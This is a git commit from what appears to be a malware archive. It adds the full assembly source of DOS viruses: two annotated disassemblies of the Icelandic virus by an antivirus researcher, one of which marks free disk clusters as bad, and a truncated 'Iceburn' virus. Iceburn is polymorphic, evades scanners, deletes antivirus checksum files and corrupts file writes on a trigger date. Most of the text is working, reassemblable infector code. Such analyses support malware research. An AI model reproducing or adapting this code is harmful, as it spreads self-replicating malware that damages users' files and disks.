re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
+558
View File
@@ -0,0 +1,558 @@
; THE ICELANDIC "DISK-CRUNCHING" VIRUS
;
; Another possible name for this virus might be "One-in-ten", since
; it tries to infect every tenth program run. The Icelandic name for
; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
;
; It was first located at one site in mid-June '89. It has since then
; been found at a few other places, but is quite rare yet. So far it
; does not seem to have spread to any other country.
;
; Disassembly done in June/July '89.
;
; The author of this program is unknown, but it appears to be of
; Icelandic origin.
;
; All comments in this file were added by Fridrik Skulason,
; University of Iceland/Computing Services.
;
; INTERNET: frisk@rhi.hi.is
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much. The code
; is very clear, and the virus is quite well written. It would be VERY
; easy to modify it to do something really harmful.
;
; A short description of the virus:
;
; It only infects .EXE files. Infected files grow by 656 to 671
; bytes, and the length of the infected file MOD 16 will always be 0.
; The virus attaches itself to the end of the programs it infects.
;
; When an infected file is run, the virus copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash.
;
; The virus does nothing if some other program has hooked INT 13
; before it is run. This is probably done to avoid detection by
; protection programs, but it also means that many ordinary
; programs like SideKick and disk cache software will disable it.
; Even the PRINT command will disable the virus. This reduces the
; spread of the virus, but also greatly reduces the possibility that
; the virus will be detected.
;
; The virus will hook INT 21H and when function 4B (EXEC) is called
; it sometimes will infect the program being run. It will check every
; tenth program that is run for infection, and if it is not already
; infected, it will be.
;
; The virus will remove the Read-Only attribute before trying to
; infect programs.
;
; Infected files can be easily recognized, since they always end in
; 4418,5F19.
;
; To check for system infection, a byte at 0:37F is used - if it
; contains FF the virus is installed in memory.
;
; This virus is slightly harmful, but does no serious damage.
; On floppy-only, or machines with 10Mbyte hard disks it will do
; no damage at all, but on machines with larger hard disks it will
; select one unused entry in the FAT table, and mark it as bad, when it
; infects a file. Since the virus only modifies the first copy of the
; FAT, a quick fix is simply to copy the second table over the first.
; This is the only "mistake" I have found in this virus. It appears
; to be very well written - What a shame the programmer did not use
; his abilities for something more constructive.
;
; This file was created in the following way: I wrote a small program,
; that did nothing but write "Hello world!" and ran it several times,
; until it became infected. I then diassembled the program, changed
; it into an .ASM file, and worked on it until this file, when
; assembled, produced the same file as the original infected one.
;
; (Or almost the same - the checksum in the header is different).
;
VIRSIZ EQU 128
ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING
;
; This is the original program.
;
_TEXT1 SEGMENT PARA PUBLIC 'CODE'
_START DB 0b4H,09H
PUSH CS
POP DS
MOV DX,OFFSET STRING
INT 21H
MOV AX,4C00H
INT 21H
STRING DB "Hello world!",0dh,0ah,"$"
_TEXT1 ENDS
_TEXT SEGMENT PARA PUBLIC 'CODE'
;
; The virus is basically divided in three parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
; 3. The damage routine. It will select one unused cluster and mark it
; as bad.
;
VIRUS PROC FAR
;
; This is a fake MCB
;
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
LABEL1: SUB SP,4
PUSH BP
MOV BP,SP
PUSH AX
MOV AX,ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG_CS DW 0010H
MOV [BP+4],AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H,46H,02H
ORG_IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
XOR AX,AX
MOV ES,AX
CMP ES:[37FH],BYTE PTR 0FFH
JNE L1
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
; program is monitoring int 13, and quit.
;
L1: MOV AX,ES:[4EH]
CMP AX,0070H
JE L2
CMP AX,0F000H
JNE EXIT
;
; Set the installation flag, so infected programs run later will
; recognize the infection.
;
L2: MOV ES:[37FH],BYTE PTR 0FFH
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
MOV AH,52H
INT 21H
MOV AX,ES:[BX-2]
MOV ES,AX
ADD AX,ES:[0003]
INC AX
INC AX
MOV CS:[0001],AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX,DS
DEC BX
MOV DS,BX
MOV AL,'M'
MOV DS:[0000],AL
MOV AX,DS:[0003]
SUB AX,VIRSIZ
MOV DS:[0003],AX
ADD BX,AX
INC BX
;
; Then the virus moves itself to the new block. For some reason 2000
; bytes are transferred, when 656 would be enough. Maybe the author just
; wanted to leave room for future expansions.
;
MOV ES,BX
XOR SI,SI
XOR DI,DI
PUSH CS
POP DS
MOV CX,2000
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX,OFFSET L3
PUSH AX
RET
;
; The main program modifies INT 21 next and finally returns to the
; original program. The original INT 21 vector is stored inside the
; program so a JMP [OLD INT21] instruction can be used.
;
L3: XOR AX,AX
MOV ES,AX
MOV AX,ES:[0084H]
MOV CS:[OLD21],AX
MOV AX,ES:[0086H]
MOV CS:[OLD21+2],AX
MOV AX,CS
MOV ES:[0086H],AX
MOV AX,OFFSET NEW21
MOV ES:[0084H],AX
JMP EXIT
VIRUS ENDP
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21 PROC FAR
CMP AH,4BH
JE L5
L4: DB 0EAH
OLD21 DW 0,0
;
; Only attack every tenth program run.
;
L5: DEC CS:[COUNTER]
JNE L4
MOV CS:[COUNTER],10
;
; Save all affected registers.
;
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX,DX
L6: INC BX
CMP BYTE PTR [BX],'.'
JE L8
CMP BYTE PTR [BX],0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP L4
L8: INC BX
CMP WORD PTR [BX],5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
MOV AX,4300H ; Get attribute
INT 21H
JC L7
MOV AX,4301H ; Set attribute
AND CX,0FEH
INT 21H
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX,3D02H ; Open / write access
INT 21H
JC L7
MOV BX,AX ; file handle in BX
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX,OFFSET ID+8
MOV CX,1CH
MOV AH,3FH
INT 21H
JC L9
MOV AX,DS:ID[1CH]
MOV DS:[ORG_IP],AX
MOV AX,DS:ID[1EH]
ADD AX,10H
MOV DS:[ORG_CS],AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX,4202H
MOV CX,-1
MOV DX,-4
INT 21H
JC L9
ADD AX,4
MOV DS:[LEN_LO],AX
JNC L8A
INC DX
L8A: MOV DS:[LEN_HI],DX
MOV AH,3FH
MOV CX,4
MOV DX,OFFSET ID+4
INT 21H
JNC L11
L9: MOV AH,3EH
INT 21H
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI,OFFSET ID+4
MOV AX,[SI]
CMP AX,4418H
JNE L12
MOV AX,[SI+2]
CMP AX,5F19H
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. Tis is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX,DS:[LEN_LO]
AND AX,0FH
JZ L13
MOV CX,16
SUB CX,AX
ADD DS:[LEN_LO],CX
JNC L12A
INC DS:[LEN_HI]
L12A: MOV AH,40H
INT 21H
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: XOR DX,DX
MOV CX,OFFSET ID + 4
MOV AH,40H
INT 21H
JC L9
;
; Next the .EXE file header is modified:
;
; First modify initial IP
;
MOV AX,OFFSET LABEL1
MOV DS:ID[1CH],AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SUB AX,DS:ID[10H]
MOV DS:ID[1EH],AX
;
; Modify length mod 512
;
ADD DS:[LEN_LO],OFFSET ID+4
JNC L14
INC DS:[LEN_HI]
L14: MOV AX,DS:[LEN_LO]
AND AX,511
MOV DS:ID[0AH],AX
;
; Modify number of blocks used
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
ADD AX,511
JNC L14A
INC DX
L14A: MOV AL,AH
MOV AH,DL
SHR AX,1
MOV DS:ID[0CH],AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
JC ENDIT
MOV AH,40H
MOV DX,OFFSET ID+8
MOV CX,1CH
INT 21H
JC ENDIT
MOV AH,3EH
INT 21H
JNC DAMAGE
;
; Infection is finished - close the file and execute it
;
ENDIT: JMP L9
NEW21 ENDP
;
; The damage routine. As before noted, it will only do damage on
; systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
;
TEMP DW 0
;
; Start by getting some information about the current drive, like size
; of the FAT etc. Then compute the total number of sectors, and quit
; unless it is greater than 20740. This is probably done since larger
; disks use 16 bit FAT entries, instead of 12, which makes life easier
; for the programmer.
;
DAMAGE: MOV AH,32H
MOV DL,0
INT 21H
CMP AL,0FFH
JE L21
XOR AX,AX
MOV AL,[BX+4]
INC AX
MOV CS:[TEMP],AX
MOV AX,[BX+0DH]
DEC AX
MUL CS:[TEMP]
ADD AX,[BX+0BH]
JNC L15A
INC DX
L15A: CMP DX,0
JNE L15B
CMP AX,20740
JBE L21
;
; Check if DOS version is 4.0 or greater. If so, use a 16 bit value
; for numbers of sectors in the FAT, otherwise use a 8 bit entry.
;
L15B: PUSH BX
MOV AH,30H
INT 21H
POP BX
CMP AL,4
JAE L15
XOR AX,AX
MOV AL,[BX+0FH]
JMP SHORT L16
L15: MOV AX,[BX+0FH]
L16: ADD AX,[BX+6]
DEC AX
MOV DX,AX
MOV AL,[BX]
;
; Read the last sector in the first copy of the FAT. Search backwards
; for an unused entry. If none is found, read the sector before that
; and so on. If no free entry is found on the entire disk then quit.
;
L20: MOV CX,1
MOV BX,OFFSET ID+4
PUSH CS
POP DS
PUSH AX
PUSH DX
INT 25H
POPF
JC L21
POP DX
POP AX
MOV SI,510
L17: MOV BX,DS:[ID+4+SI]
CMP BX,0000
JE L19
CMP SI,0000
JE L18
DEC SI
DEC SI
JMP L17
L18: DEC DX
CMP DX,8
JE L21
JMP L20
;
; A free entry has been found. Make it look like a bad cluster, by
; changing the 0000 value to FFF7.
;
L19: MOV DS:[ID+4+SI],0FFF7H
MOV CX,1
MOV BX,OFFSET ID+4
INT 26H
POPF
L21: JMP L7
COUNTER DB 10
LEN_LO DW ?
LEN_HI DW ?
ID DW 4418H,5F19H ; The signature of the virus.
;
; A buffer, used for data from the file.
;
_TEXT ENDS
END LABEL1

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+507
View File
@@ -0,0 +1,507 @@
From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:54:55 1994
Xref: netcom.com alt.comp.virus:489
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
From: clair@myhost.subdomain.domain (The Clairvoyant)
Newsgroups: alt.comp.virus
Subject: Ice2 Disassembly by f-prot author
Date: 28 Nov 1994 08:16:26 GMT
Organization: String to put in the Organization Header
Lines: 493
Message-ID: <3bc3kq$mjc@gaia.ucs.orst.edu>
NNTP-Posting-Host: tempest.rhn.orst.edu
X-Newsreader: TIN [version 1.2 PL2]
; THE ICELANDIC VIRUS - VERSION 2
;
; Disassembly done in July '89.
;
; The author(s) of this program is(are) unknown, but it is of
; Icelandic origin.
;
; All comments in this file were added by Fridrik Skulason,
; University of Iceland/Computing Services.
;
; INTERNET: frisk@rhi.hi.is
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much. The code
; is very clear, and the virus is quite well written. It would be VERY
; easy to modify it to do something really harmful.
;
; The virus has the following flaws:
;
; It modifies the date of the program it infects, making
; it easy to spot them.
;
; It removes the Read-only attribute from files, but does
; not restore it.
;
; This version appears to do no damage at all. This, and the fact that
; the author(s) sent me a copy probably indicates that it was just
; designed to demonstrate that a virus like this could be written.
;
; This file was created in the following way:
;
; I disassembled the new version and compared it to my disassembly
; of version #1.
;
; Any changes found were added to this file.
;
VIRSIZ EQU 128
ASSUME CS:_TEXT,DS:NOTHING,SS:NOTHING,ES:NOTHING
;
; This is a dummy "infected" program, so that this file,
; when assembled (using MASM) will produce a "true" infected
; program.
;
_TEXT1 SEGMENT PARA PUBLIC 'CODE'
_START DB 0b4H,09H
PUSH CS
POP DS
MOV DX,OFFSET STRING
INT 21H
MOV AX,4C00H
INT 21H
STRING DB "Hello world!",0dh,0ah,"$"
_TEXT1 ENDS
_TEXT SEGMENT PARA PUBLIC 'CODE'
;
; The virus is basically divided in two parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
VIRUS PROC FAR
;
; This is a fake MCB
;
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
LABEL1: SUB SP,4
PUSH BP
MOV BP,SP
PUSH AX
MOV AX,ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG_CS DW 0010H
MOV [BP+4],AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H,46H,02H
ORG_IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
XOR AX,AX
MOV ES,AX
CMP ES:[37FH],BYTE PTR 0FFH
JNE L1
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; The code to check if INT 13 contains something other than
; 0070 or F000 has been removed.
;
; Set the installation flag, so infected programs run later will
; recognize the infection.
;
L1: MOV ES:[37FH],BYTE PTR 0FFH
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
MOV AH,52H
INT 21H
;
; The next line is new - the virus obtains the segment of the
; IBMDOS.COM/MSDOS.SYS program.
;
MOV CS:[DOSSEG],ES
;
; Back to modification
;
MOV AX,ES:[BX-2]
MOV ES,AX
ADD AX,ES:[0003]
INC AX
INC AX
MOV CS:[0001],AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX,DS
DEC BX
MOV DS,BX
MOV AL,'M'
MOV DS:[0000],AL
MOV AX,DS:[0003]
SUB AX,VIRSIZ
MOV DS:[0003],AX
ADD BX,AX
INC BX
;
; Then the virus moves itself to the new block. For some reason 2000
; bytes are transferred, when much less would be enough. Maybe the author just
; wanted to leave room for future expansions.
;
MOV ES,BX
XOR SI,SI
XOR DI,DI
PUSH CS
POP DS
MOV CX,2000
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX,OFFSET L2
PUSH AX
RET
;
; This part of the program is new. It tries to bypass protection
; programs, by obtaining the original INT 21 address. It searches
; for the byte sequence 2E 3A 26, which (in DOS 3.1 and 3.3) is the
; beginning of the original interrupt (probably also in 3.2 - I do
; not have a copy of that)
;
L2: MOV DS,CS:[DOSSEG]
MOV CX,3000H
MOV SI,0
MOV AX,3A2EH
L3: CMP AX,[SI]
JE L3A
L3C: INC SI
LOOP L3
;
; If that fails, it searches for 80 FC 63 (used in 3.0)
; 80 FC 4B (used in 2.0)
; 80 FC F8 (This looks very odd -
; I have no idea what DOS version this might be.)
;
MOV CX,3000H
MOV SI,0
MOV AX,0FC80H
L3D: CMP AX,[SI]
JE L3F
L3E: INC SI
LOOP L3D
;
; Start of DOS not found - Give up (but remain in memory)
;
JMP EXIT
L3A: CMP BYTE PTR[SI+2],26H
JE L3B
JMP L3C
L3F: CMP BYTE PTR[SI+2],63H
JE L3B
CMP BYTE PTR[SI+2],4BH
JE L3B
CMP BYTE PTR[SI+2],0F8H
JE L3B
JMP L3E
L3B: MOV CS:[DOSPC],SI
;
; The main program modifies INT 21 next and finally returns to the
; original program. The original INT 21 vector is stored inside the
; program so a JMP [OLD INT21] instruction can be used.
;
XOR AX,AX
MOV ES,AX
MOV AX,ES:[0084H]
MOV CS:[OLD21],AX
MOV AX,ES:[0086H]
MOV CS:[OLD21+2],AX
MOV AX,CS
MOV ES:[0086H],AX
MOV AX,OFFSET NEW21
MOV ES:[0084H],AX
JMP EXIT
VIRUS ENDP
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21 PROC FAR
CMP AH,4BH
JE L5
L4: DB 0EAH
OLD21 DW 0,0
;
; Only attack every tenth program run.
;
L5: DEC CS:[COUNTER]
JNE L4
MOV CS:[COUNTER],10
;
; Save all affected registers.
;
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX,DX
L6: INC BX
CMP BYTE PTR [BX],'.'
JE L8
CMP BYTE PTR [BX],0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP L4
L8: INC BX
CMP WORD PTR [BX],5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
; Here, as elsewhere, the INT 21 instructions have been replaced
; by PUSHF/CALL DWORD PTR CS:[DOSPC]
;
MOV AX,4300H ; Get attribute
PUSHF
CALL DWORD PTR CS:[DOSPC]
JC L7
MOV AX,4301H ; Set attribute
AND CX,0FEH
PUSHF
CALL DWORD PTR CS:[DOSPC]
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX,3D02H ; Open / write access
PUSHF
CALL DWORD PTR CS:[DOSPC]
JC L7
MOV BX,AX ; file handle in BX
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX,OFFSET ID+8
MOV CX,1CH
MOV AH,3FH
PUSHF
CALL DWORD PTR CS:[DOSPC]
JC L9
MOV AX,DS:ID[1CH]
MOV DS:[ORG_IP],AX
MOV AX,DS:ID[1EH]
ADD AX,10H
MOV DS:[ORG_CS],AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX,4202H
MOV CX,-1
MOV DX,-4
PUSHF
CALL DWORD PTR CS:[DOSPC]
JC L9
ADD AX,4
MOV DS:[LEN_LO],AX
JNC L8A
INC DX
L8A: MOV DS:[LEN_HI],DX
MOV AH,3FH
MOV CX,4
MOV DX,OFFSET ID+4
PUSHF
CALL DWORD PTR CS:[DOSPC]
JNC L11
L9: MOV AH,3EH
PUSHF
CALL DWORD PTR CS:[DOSPC]
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI,OFFSET ID+4
MOV AX,[SI]
CMP AX,4418H
JNE L12
MOV AX,[SI+2]
CMP AX,5F19H
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. This is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX,DS:[LEN_LO]
AND AX,0FH
JZ L13
MOV CX,16
SUB CX,AX
ADD DS:[LEN_LO],CX
JNC L12A
INC DS:[LEN_HI]
L12A: MOV AH,40H
PUSHF
CALL DWORD PTR CS:[DOSPC]
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: XOR DX,DX
MOV CX,OFFSET ID + 4
MOV AH,40H
PUSHF
CALL DWORD PTR CS:[DOSPC]
JC L9
;
; Next the .EXE file header is modified:
;
; First modify initial IP
;
MOV AX,OFFSET LABEL1
MOV DS:ID[1CH],AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SUB AX,DS:ID[10H]
MOV DS:ID[1EH],AX
;
; Modify length mod 512
;
ADD DS:[LEN_LO],OFFSET ID+4
JNC L14
INC DS:[LEN_HI]
L14: MOV AX,DS:[LEN_LO]
AND AX,511
MOV DS:ID[0AH],AX
;
; Modify number of blocks used
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
ADD AX,511
JNC L14A
INC DX
L14A: MOV AL,AH
MOV AH,DL
SHR AX,1
MOV DS:ID[0CH],AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX,4200H
XOR CX,CX
XOR DX,DX
PUSHF
CALL DWORD PTR CS:[DOSPC]
JC ENDIT
MOV AH,40H
MOV DX,OFFSET ID+8
MOV CX,1CH
PUSHF
CALL DWORD PTR CS:[DOSPC]
JC ENDIT
MOV AH,3EH
PUSHF
CALL DWORD PTR CS:[DOSPC]
;
; Infection is finished - close the file and execute it.
;
ENDIT: JMP L9
;
; The damage section located here has been removed.
;
NEW21 ENDP
DOSPC DW ?
DOSSEG DW ?
COUNTER DB 10
LEN_LO DW ?
LEN_HI DW ?
ID DW 4418H,5F19H ; The signature of the virus.
;
; A buffer, used for data from the file.
;
_TEXT ENDS
END LABEL1

@@ -0,0 +1,404 @@
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
; Iceburn - (c)1995 ûirogen - Using ûiCE v0.2á
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
;
; þ Infects COM and EXE when executed.
; þ COM Infection marker: fourth byte is 0
; þ EXE infection marker: Checksum in header not equal to 0.
; þ Time/Date do not change
; þ Read-only and hidden files will be infected, and attributes restored.
; þ Virus installs its own critical error handler
; þ Deletes MSAV/CPAV CHecksum filez..
; þ Activates on the second of any month, at which time it will phuck
; up all file writes using INT 21h/func 40h.
; þ Does not use ViCE anti-tbscan. Has a second cryptor to thwart many
; TBSCAN flags.
;
cseg segment
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
special equ 11h
act_day equ 2
buf_size equ 170
vice_size equ 1587+buf_size
virus_size equ (offset vend-offset start)+VICE_SIZE
extrn _vice:near
org 0h
start:
push ds es
inc si
mov ax,1000h ; looks like legit. INT call..
add ax,signal-1000h ; are we memory resident?
mov dx,vsafe_word
mov bl,special
int 21h
call nx ; get relative offset
nx: pop bp
sub bp,offset nx
or si,si
jz no_install ; if carry then we are
call crypt ; decrypt the next few bytez
c_start:
mov cs:activate[bp],0
mov ah,2ah ; get date
int 21h
cmp dl,act_day ;
jnz no_act
mov cs:activate[bp],1
no_act:
mov ax,ds ; PSP segment
dec ax ; mcb below PSP m0n
mov ds,ax ; DS=MCB seg
cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
jnz no_install
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
mov es,word ptr ds: [12h] ; get high mem seg
push cs
pop ds
mov si,bp
mov cx,virus_size/2+1
xor di,di
rep movsw ; copy code to new seg
xor ax,ax
mov ds,ax ; null ds
push ds
lds ax,ds: [21h*4] ; get 21h vector
mov es: word ptr old21+2,ds ; save S:O
mov es: word ptr old21,ax
pop ds
mov ds: [21h*4+2],es ; new int 21h seg
mov ds: [21h*4],offset new21 ; new offset
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem
c_end:
no_install:
pop es ds ; restore ES DS
cmp cs:is_exe[bp],1
jz exe_return
lea si,org_bytes[bp] ; com return
mov di,0100h ; -restore first 4 bytes
mov cx,2
rep movsw
mov ax,100h ; jump back to 100h
push ax
_ret:ret
exe_return:
mov cx,ds ; calc. real CS
add cx,10h
add word ptr cs:[exe_jump+2+bp],cx
int 3 ; fix prefetch
db 0eah
exe_jump dd 0
is_exe db 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Crypts portion of virus
;
crypt_res:
xor bp,bp
crypt:
lea si,c_start
add si,bp
mov cx,(offset c_end-offset c_start)
add byte ptr cs:xor_op[bp],10h ; self modifying code...
int 3 ; fix prefetch
l1:
db 2Eh
xor_op db 70h,34h ; tbscan won't flag this bitch
xor_val db 0
inc si
loop l1
sub byte ptr cs:xor_op[bp],10h ; unmodify code
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Infection routine - called from INT 21h handler.
; DS:DX=fname
;
infect_file:
push dx
pop si
push ds
xor ax,ax ; null ES
mov es,ax
lds ax,es:[24h*4] ; get INT 24h vector
mov cs:old_24_off,ax ; save it
mov cs:old_24_seg,ds
mov es:[24h*4+2],cs ; install our handler
mov es:[24h*4],offset new_24
pop ds
push es ; we'll need it later
push cs
pop es
mov ax,4300h ; get phile attribute
int 21h
mov ax,4301h ; null attribs
push ax cx ; save AX-call/CX-attrib
xor cx,cx
int 21h
mov ax,3d02h ; open the file
int 21h
jc dont_do
mov bx,ax ; get handle
push cs
pop ds
call kill_chklst ; kill MSAV and CPAV checksum files
mov ah,3fh ; Read first bytes of file
mov cx,20h
lea dx,org_bytes
int 21h
cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag
jz do_exe
cmp byte ptr org_bytes+3,0
jz close
mov is_exe,0
mov ax,5700h ; get time/date
int 21h
push cx dx
call offset_end
push ax ; AX=end of file
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor/
push di ; encrypted code. (at heap)
mov cx,virus_size ; CX=virus size
mov dx,ax ; DX=EOF offset
add dx,100h ; DX=offset decryptor will run from
mov al,00001011b ; jmps,no anti-tbscan, garbage, no CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
pop ax ; restore COM file size
sub ax,3 ; calculate jmp offset
mov word ptr new_jmp+1,ax
lea dx,new_jmp
mov cx,4
mov ah,40h
int 21h
pop dx cx ; pop date/time
mov ax,5701h ; restore the mother fuckers
int 21h
close:
pop cx ax ; restore attrib
int 21h
mov ah,3eh
int 21h
dont_do:
pop es ; ES=0
